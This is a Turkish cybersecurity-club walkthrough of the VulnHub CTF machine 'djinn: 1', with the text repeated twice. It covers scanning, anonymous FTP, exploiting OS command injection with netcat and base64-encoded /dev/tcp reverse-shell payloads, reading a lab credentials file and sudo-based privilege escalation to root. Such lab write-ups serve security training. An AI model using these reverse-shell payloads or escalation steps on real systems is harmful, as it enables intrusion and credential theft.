djinn: 1 Zafiyetli Makine Çözümü //Siber Güvenlik Kulübü
Seviye: Orta
Görev: Root kullanıcısının ayrıcalıklarını yükseltmemiz gereken ve mücadeleyi tamamlamak için 2 bayrak bulmak zorunda olduğumuz başka bir CTF.
Makine 18 Kasım 2019da 0xmzfr tarafından yayınlanmıştır.
Yüklemek için siteyi ziyaret edebilirsiniz.
Bağlantı: https://www.vulnhub.com/entry/djinn-1,397/
OVA şeklinde hazır olarak kurabilirsiniz.
Örn: Virtual Machine --> File --> Open --> djinn
Başlayalım.
Çözüm
Öncelikle netdiscover yazarak ağdaki IPleri listeliyoruz.
Daha sonra nmap(network mapping)(ağ haritalandırma) aracı yardımıyla çözeceğimiz makinenin IPsindeki açık portları listeliyoruz.
Buradaki p- parametresi aracın bütün portları (65535) taramasını sağlar.
nmap p- IP_ADRESI
21 /TCP portunun açık olduğunu gördüğümüz için, sunucuya anonim olarak girmeyi deniyoruz.
Giriş başarılı, şimdi de dizinde listeleme yapıyoruz.
Dosyaları okumak için indiriyoruz ve açıp okuyoruz.
İlkinin credsden kimlik bilgileri olduğunu düşünüp, ikincisi için makinenin portuna bakıyoruz.
Sürekli yenilediğimizde site yüklenir gibi oluyor. Ancak hata veriyor ve yazıyı okuyamıyoruz. Bu yüzden netcat ile ipdeki portu tarayalım.
Netcat nedir? Nasıl Kullanılır? (Netcat, ağı okuyan ve TCP veya UDP iletişim kurallarını kullanarak ağ bağlantılarını yazan bir hizmetidir. ncip_adresiport_numarası verilerek kullanılabilir.)
Hediyesini vermek için basit matematik sorularını 1000 kere cevaplamamızı istiyor. Burada bizlere bir şey verip vermeyeceğini bilmediğimiz için 1000 kez cevaplamanın da zaman alacağı için bırakıyoruz.
Ayrıca portları bulduğumuz yerde service adının waste olduğunu görüyoruz. (waste: boşa harcamak)
Bulduğumuz portlar arasından diğerini gözden geçiriyoruz.
Tarayıcıdan porta baktığımızda bu sayfa karşımıza geliyor.
Sitenin kaynak kodlarınıda görüntüledik ancak kullanabileceğimiz bir bilgi edinemedik. Şimdi sitede gizli dizinler var mı gobuster aracı ile ona bakıyoruz.
Gobuster nedir? (Gobuster biz dizin keşfi yapan brute-force (kaba-kuvvet) saldırı programıdır.)
NOT: Gobusterınız yoksa aşağıdaki kodu yazarak yükleyebilirsiniz.
Gobusterı edindikten sonra taramaya başlıyoruz.
Buradaki u ( url vereceğinizi ) -w ( wordlist vereceğinizi ) belirtir.
/genie ve /wish adlı iki dizin buldu, kontrol ediyoruz.
/genieye giriş yapamadığımız için bir şey elde edemiyoruz ve diğerini kontrol ediyoruz.
/wish dizininde Beni buldun, bir dilek dile ve bütün dileklerin gerçek olsun. gibi bir yazı ve bir adet text girebileceğimiz bölüm var.
Yukarıdaki komutu yazarak deniyoruz ve dönüt alıyoruz, yani komut işliyor. Buradan text bölümünün OS Komut Enjeksiyonu olduğunu anlıyoruz.
Netcat kullanarak Reverse Shell çalıştırmayı deniyoruz.
Öncelikle, aşağıdaki komutu yazarak portu dinliyoruz.
Daha sonra web sayfasındaki forma giderek aşağıdaki komutu yazıyoruz.
Buradaki e komutu eğer bağlantı olursa sonrasında program çalıştığında STDIN ve STDOUT ile iletişim kurmak için kullanılıyor.
Komutu denedikten sonra hata Yanlış kelimeleri seçtiniz gibi bir hata aldık.
Base64 kodlarını kullanabildiğimizi fark edince, yukarıdaki komutumuzu aşağıdaki komut ile koda dönüştürüyoruz.
Buradaki echo devamındakini yazdırmak için,
bash kabuğu çalıştırmak için,
/dev/tcp - bu dosyaya yazdığınız verileri ağ üzerinden gönderir
/dev/tcp/192.168.1.62/1234 - bu kısımda geçerli bir ip ve port bulunuyorsa, kabuk karşılık gelen sokete bir TCP bağlantısı açmaya çalışır.
| base64 komutu ise yazdığımız kodu base64e çevirir.
Çıktı: YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNjIvMTIzNCAwPiYxCg==
Kodu girmeden önce belirlediğimiz portu netcat ile dinliyoruz.
Kodu aşağıdaki gibi siteye giriyoruz.
Buradaki base64 d ise echo ile yazdırdığımız base64 kodunu, decode eder ve eski haline çevirir.
Ve bağlantı kuruyoruz.
Daha sonra aşağıdaki komutu yazarak dosyaları listeliyoruz.
Aşağıdaki komutu yazarak app.py dosyasını anlamlı bir şey var mı diye okuyoruz.
Credentials(kimlik bilgileri)ın bulunduğu dizinin yazdığını fark ediyoruz.
CREDS = "/home/nitish/.dev/creds.txt"
Dizini ve cat komutunu kullanarak txt dosyasını okuyoruz.
Bize böyle bir çıktı veriyor.
Nitish olarak giriş yapmak için bir bash kabuğu çağırıyoruz ve onu yazacağımız phyton kodu ile TTY kabuğuna çeviriyoruz.
Daha sonra az önce nitish kullanıcısından elde ettiğimiz bilgileri giriyoruz.
Daha sonra nitishinhome klasörüne giderek user.txtyi okuyoruz.
Çıktı: 10aay8289ptgguy1pvfa73alzusyyx3c=
Bize bu çıktıyı verdi, base64 kodu olduğunu anladıktan sonra decode ettik, pek anlamlı bulmadığım aşağıdaki çıktıyı verdi.
�F��ͼ��`�쵦���v���2��
Daha sonra biraz araştırdıktan sonra flag olarak bunu yapmışlar ve ilk bayrağımızı bulmuş olduk.
Şimdi ikinci bayrağı bulmak için işe koyuluyoruz, öncelikle kullanıcı izinlerini kontrol ediyoruz.
Burada genie diye bir script oluşturulduğunu ve şifresiz olarak samin kullanılabildiğini görüyoruz.
Birazcık inceledikten sonra aşağıdaki komut ile sam kullanıcısına geçiyoruz.
whoami diyerek kim olduğumuza baktık ve sam kullanıcısındayız. Daha sonra izinlerini listeliyoruz.
/root/lago da şifre olmadığını gördük ve giriş yapıyoruz.
Buradaki u user(kullanıcı)ı belirtir. Root olarak root dizinindeki lagoyu çalıştırdık.
Daha sonra buradaki seçenekleri denemeye başladık.
2. seçeneği seçip num olarak sayıyı girdiğimizde root kullanıcısına erişmiş olduk.
Daha sonra root kullanıcısı olarak bir kabuk çalıştırıyoruz ve ana dizine gidiyoruz.
Daha sonra listeleme yapıyoruz ve proof.sh isimli scripti görüyoruz.
Aşağıdaki komutu yazarak scripti çalıştırıyoruz ve bayrağı bulduk.
Güzel bir makine çözümüydü, umarım beğenmişsinizdir.
P4RS hocama makine çözümündeki yardımları için teşekkür ederim.
Seviye: Orta
Görev: Root kullanıcısının ayrıcalıklarını yükseltmemiz gereken ve mücadeleyi tamamlamak için 2 bayrak bulmak zorunda olduğumuz başka bir CTF.
Makine 18 Kasım 2019da 0xmzfr tarafından yayınlanmıştır.
Yüklemek için siteyi ziyaret edebilirsiniz.
Bağlantı: https://www.vulnhub.com/entry/djinn-1,397/
OVA şeklinde hazır olarak kurabilirsiniz.
Örn: Virtual Machine --> File --> Open --> djinn
Başlayalım.
Çözüm
Öncelikle netdiscover yazarak ağdaki IPleri listeliyoruz.
Kod:
netdiscover
Daha sonra nmap(network mapping)(ağ haritalandırma) aracı yardımıyla çözeceğimiz makinenin IPsindeki açık portları listeliyoruz.
Buradaki p- parametresi aracın bütün portları (65535) taramasını sağlar.
nmap p- IP_ADRESI
Kod:
nmap p- 192.168.1.48
21 /TCP portunun açık olduğunu gördüğümüz için, sunucuya anonim olarak girmeyi deniyoruz.
Kod:
ftp 192.168.1.48
Kod:
anonymous
Giriş başarılı, şimdi de dizinde listeleme yapıyoruz.
Kod:
ls
Dosyaları okumak için indiriyoruz ve açıp okuyoruz.
İlkinin credsden kimlik bilgileri olduğunu düşünüp, ikincisi için makinenin portuna bakıyoruz.
Kod:
192.168.1.48/1337
Sürekli yenilediğimizde site yüklenir gibi oluyor. Ancak hata veriyor ve yazıyı okuyamıyoruz. Bu yüzden netcat ile ipdeki portu tarayalım.
Netcat nedir? Nasıl Kullanılır? (Netcat, ağı okuyan ve TCP veya UDP iletişim kurallarını kullanarak ağ bağlantılarını yazan bir hizmetidir. ncip_adresiport_numarası verilerek kullanılabilir.)
Kod:
nc 192.168.1.48 1337
Hediyesini vermek için basit matematik sorularını 1000 kere cevaplamamızı istiyor. Burada bizlere bir şey verip vermeyeceğini bilmediğimiz için 1000 kez cevaplamanın da zaman alacağı için bırakıyoruz.
Ayrıca portları bulduğumuz yerde service adının waste olduğunu görüyoruz. (waste: boşa harcamak)
Bulduğumuz portlar arasından diğerini gözden geçiriyoruz.
Kod:
192.168.1.48:7331
Tarayıcıdan porta baktığımızda bu sayfa karşımıza geliyor.
Sitenin kaynak kodlarınıda görüntüledik ancak kullanabileceğimiz bir bilgi edinemedik. Şimdi sitede gizli dizinler var mı gobuster aracı ile ona bakıyoruz.
Gobuster nedir? (Gobuster biz dizin keşfi yapan brute-force (kaba-kuvvet) saldırı programıdır.)
NOT: Gobusterınız yoksa aşağıdaki kodu yazarak yükleyebilirsiniz.
Kod:
sudo apt-get install gobuster
Gobusterı edindikten sonra taramaya başlıyoruz.
Kod:
gobuster dir -u http://192.168.1.48:7331 -w /usr/share/wordlists/dirb/big.txt
Buradaki u ( url vereceğinizi ) -w ( wordlist vereceğinizi ) belirtir.
/genie ve /wish adlı iki dizin buldu, kontrol ediyoruz.
/genieye giriş yapamadığımız için bir şey elde edemiyoruz ve diğerini kontrol ediyoruz.
/wish dizininde Beni buldun, bir dilek dile ve bütün dileklerin gerçek olsun. gibi bir yazı ve bir adet text girebileceğimiz bölüm var.
Kod:
id
Yukarıdaki komutu yazarak deniyoruz ve dönüt alıyoruz, yani komut işliyor. Buradan text bölümünün OS Komut Enjeksiyonu olduğunu anlıyoruz.
Netcat kullanarak Reverse Shell çalıştırmayı deniyoruz.
Öncelikle, aşağıdaki komutu yazarak portu dinliyoruz.
Kod:
nc nlvp 1234
Daha sonra web sayfasındaki forma giderek aşağıdaki komutu yazıyoruz.
Kod:
nc -e /bin/sh 192.168.1.48 1234
Buradaki e komutu eğer bağlantı olursa sonrasında program çalıştığında STDIN ve STDOUT ile iletişim kurmak için kullanılıyor.
Komutu denedikten sonra hata Yanlış kelimeleri seçtiniz gibi bir hata aldık.
Base64 kodlarını kullanabildiğimizi fark edince, yukarıdaki komutumuzu aşağıdaki komut ile koda dönüştürüyoruz.
Kod:
echo "bash -i >& /dev/tcp/192.168.1.62/1234 0>&1" | base64
Buradaki echo devamındakini yazdırmak için,
bash kabuğu çalıştırmak için,
/dev/tcp - bu dosyaya yazdığınız verileri ağ üzerinden gönderir
/dev/tcp/192.168.1.62/1234 - bu kısımda geçerli bir ip ve port bulunuyorsa, kabuk karşılık gelen sokete bir TCP bağlantısı açmaya çalışır.
| base64 komutu ise yazdığımız kodu base64e çevirir.
Çıktı: YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNjIvMTIzNCAwPiYxCg==
Kodu girmeden önce belirlediğimiz portu netcat ile dinliyoruz.
Kod:
nc lvp 1234
Kodu aşağıdaki gibi siteye giriyoruz.
Kod:
echo bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjEuNDggMTIzNA== | base64 -d | bash
Buradaki base64 d ise echo ile yazdırdığımız base64 kodunu, decode eder ve eski haline çevirir.
Ve bağlantı kuruyoruz.
Daha sonra aşağıdaki komutu yazarak dosyaları listeliyoruz.
Kod:
ls
Aşağıdaki komutu yazarak app.py dosyasını anlamlı bir şey var mı diye okuyoruz.
Kod:
cat app.py
Credentials(kimlik bilgileri)ın bulunduğu dizinin yazdığını fark ediyoruz.
CREDS = "/home/nitish/.dev/creds.txt"
Dizini ve cat komutunu kullanarak txt dosyasını okuyoruz.
Kod:
cat /home/nitish/.dev/creds.txt
Bize böyle bir çıktı veriyor.
Kod:
nitish:p4ssw0rdStr3r0n9
Nitish olarak giriş yapmak için bir bash kabuğu çağırıyoruz ve onu yazacağımız phyton kodu ile TTY kabuğuna çeviriyoruz.
Kod:
bash
Kod:
python -c 'import pty;pty.spawn("/bin/sh")'
Daha sonra az önce nitish kullanıcısından elde ettiğimiz bilgileri giriyoruz.
Kod:
nitish
Kod:
p4ssw0rdStr3r0n9
Daha sonra nitishinhome klasörüne giderek user.txtyi okuyoruz.
Kod:
cd ..
Kod:
cd ..
Kod:
cd home/nitish
Kod:
ls
Kod:
cat user.txt
Çıktı: 10aay8289ptgguy1pvfa73alzusyyx3c=
Bize bu çıktıyı verdi, base64 kodu olduğunu anladıktan sonra decode ettik, pek anlamlı bulmadığım aşağıdaki çıktıyı verdi.
�F��ͼ��`�쵦���v���2��
Daha sonra biraz araştırdıktan sonra flag olarak bunu yapmışlar ve ilk bayrağımızı bulmuş olduk.
Şimdi ikinci bayrağı bulmak için işe koyuluyoruz, öncelikle kullanıcı izinlerini kontrol ediyoruz.
Kod:
su l
Burada genie diye bir script oluşturulduğunu ve şifresiz olarak samin kullanılabildiğini görüyoruz.
Kod:
genie
Kod:
genie h
Birazcık inceledikten sonra aşağıdaki komut ile sam kullanıcısına geçiyoruz.
Kod:
sudo -u sam genie -cmd new
whoami diyerek kim olduğumuza baktık ve sam kullanıcısındayız. Daha sonra izinlerini listeliyoruz.
Kod:
sudo l
/root/lago da şifre olmadığını gördük ve giriş yapıyoruz.
Kod:
sudo u root /root/lago
Buradaki u user(kullanıcı)ı belirtir. Root olarak root dizinindeki lagoyu çalıştırdık.
Daha sonra buradaki seçenekleri denemeye başladık.
2. seçeneği seçip num olarak sayıyı girdiğimizde root kullanıcısına erişmiş olduk.
Daha sonra root kullanıcısı olarak bir kabuk çalıştırıyoruz ve ana dizine gidiyoruz.
Kod:
bash
Kod:
su root
Kod:
cd
Daha sonra listeleme yapıyoruz ve proof.sh isimli scripti görüyoruz.
Kod:
ls
Aşağıdaki komutu yazarak scripti çalıştırıyoruz ve bayrağı bulduk.
Kod:
./proof.sh
Güzel bir makine çözümüydü, umarım beğenmişsinizdir.
P4RS hocama makine çözümündeki yardımları için teşekkür ederim.
Son düzenleme: